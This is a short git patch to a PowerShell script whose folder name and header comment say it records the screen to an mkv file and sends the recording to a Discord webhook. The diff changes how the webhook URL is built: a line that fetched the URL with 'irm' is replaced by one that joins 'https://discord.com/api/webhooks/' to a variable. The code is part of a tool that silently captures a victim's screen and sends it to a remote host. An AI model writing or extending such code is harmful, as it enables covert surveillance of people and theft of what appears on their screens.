From 9c734f5a56591fdef8a635b5803221e55a029299 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:54:28 +0000 Subject: [PATCH] Update main.ps1 --- Record-Screen-to-Discord/main.ps1 | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Record-Screen-to-Discord/main.ps1 b/Record-Screen-to-Discord/main.ps1 index 19c177d..5068b16 100644 --- a/Record-Screen-to-Discord/main.ps1 +++ b/Record-Screen-to-Discord/main.ps1 @@ -6,7 +6,9 @@ This script records the screen for a specified time to a mkv file, then sends th #> $hookurl = "$dc" -if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url} +if ($hookurl.Length -lt 120){ + $hookurl = ("https://discord.com/api/webhooks/" + "$dc") +} while($true){